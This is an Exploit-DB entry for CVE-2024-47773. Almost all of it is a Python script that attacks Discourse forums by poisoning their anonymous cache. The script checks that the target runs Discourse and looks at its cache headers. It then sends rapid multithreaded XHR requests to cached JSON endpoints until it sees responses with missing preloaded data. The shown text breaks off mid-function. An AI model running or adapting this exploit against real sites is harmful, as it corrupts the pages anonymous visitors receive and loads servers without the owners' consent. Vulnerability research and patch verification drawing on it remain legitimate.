Exploit-DB #52358
Description: Discourse 3.2.x - Anonymous Cache Poisoning
Type: webapps
Platform: multiple
Date: 2025-07-08
Author: İbrahimsql

Exploit:
#!/usr/bin/env python3
"""
Exploit Title: Discourse 3.2.x - Anonymous Cache Poisoning
Date: 2024-10-15
Exploit Author: ibrahimsql
Github: : https://github.com/ibrahmsql
Vendor Homepage: https://discourse.org
Software Link: https://github.com/discourse/discourse
Version: Discourse < latest (patched)
Tested on: Discourse 3.1.x, 3.2.x
CVE: CVE-2024-47773
CVSS: 7.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

Description:
Discourse anonymous cache poisoning vulnerability allows attackers to poison
the cache with responses without preloaded data through multiple XHR requests.
This affects only anonymous visitors of the site.

Reference:
https://nvd.nist.gov/vuln/detail/CVE-2024-47773
"""

import requests
import sys
import argparse
import time
import threading
import json
from urllib.parse import urljoin

class DiscourseCachePoisoning:
    def __init__(self, target_url, threads=10, timeout=10):
        self.target_url = target_url.rstrip('/')
        self.threads = threads
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'application/json, text/javascript, */*; q=0.01',
            'X-Requested-With': 'XMLHttpRequest'
        })
        self.poisoned = False
        
    def check_target(self):
        """Check if target is accessible and running Discourse"""
        try:
            response = self.session.get(f"{self.target_url}/", timeout=self.timeout)
            if response.status_code == 200:
                if 'discourse' in response.text.lower() or 'data-discourse-setup' in response.text:
                    return True
        except Exception as e:
            print(f"[-] Error checking target: {e}")
        return False
    
    def check_anonymous_cache(self):
        """Check if anonymous cache is enabled"""
        try:
            # Test endpoint that should be cached for anonymous users
            response = self.session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
            
            # Check cache headers
            cache_headers = ['cache-control', 'etag', 'last-modified']
            has_cache = any(header in response.headers for header in cache_headers)
            
            if has_cache:
                print("[+] Anonymous cache appears to be enabled")
                return True
            else:
                print("[-] Anonymous cache may be disabled")
                return False
                
        except Exception as e:
            print(f"[-] Error checking cache: {e}")
            return False
    
    def poison_cache_worker(self, endpoint):
        """Worker function for cache poisoning attempts"""
        try:
            # Create session without cookies to simulate anonymous user
            anon_session = requests.Session()
            anon_session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'application/json, text/javascript, */*; q=0.01',
                'X-Requested-With': 'XMLHttpRequest'
            })
            
            # Make rapid requests to poison cache
            for i in range(50):
                response = anon_session.get(
                    f"{self.target_url}{endpoint}",
                    timeout=self.timeout
                )
                
                # Check if response lacks preloaded data
                if response.status_code == 200:
                    try:
                        data = response.json()
                        # Check for missing preloaded data indicators
                        if self.is_poisoned_response(data):
                            print(f"[+] Cache poisoning successful on {endpoint}")
                            self.poisoned = True
                            return True
                    except:
                        pass
                        
                time.sleep(0.1)
                
        except Exception as e:
            pass
        return False
    
    def is_poisoned_response(self, data):
        """Check if response indicates successful cache poisoning"""
        # Look for indicators of missing preloaded data
        indicators = [
            # Missing or empty preloaded data
            not data.get('preloaded', True),
            data.get('preloaded') == {},
            # Missing expected fields
            'categories' in data and not data['categories'],
            'topics' in data and not data['topics'],
            # Error indicators
            data.get('error') is not None,
            data.get('errors') is not None
        ]
        
        return any(indicators)
    
    def test_cache_poisoning(self):
        """Test cache poisoning on multiple endpoints"""
        print("[*] Testing cache poisoning vulnerability...")
        
        # Target endpoints that are commonly cached
        endpoints = [
            '/categories.json',
            '/latest.json',
            '/top.json',
            '/c/general.json',
            '/site.json',
            '/site/basic-info.json'
        ]
        
        threads = []
        
        for endpoint in endpoints:
            print(f"[*] Testing endpoint: {endpoint}")
            
            # Create multiple threads to poison cache
            for i in range(self.threads):
                thread = threading.Thread(
                    target=self.poison_cache_worker,
                    args=(endpoint,)
                )
                threads.append(thread)
                thread.start()
            
            # Wait for threads to complete
            for thread in threads:
                thread.join(timeout=5)
            
            if self.poisoned: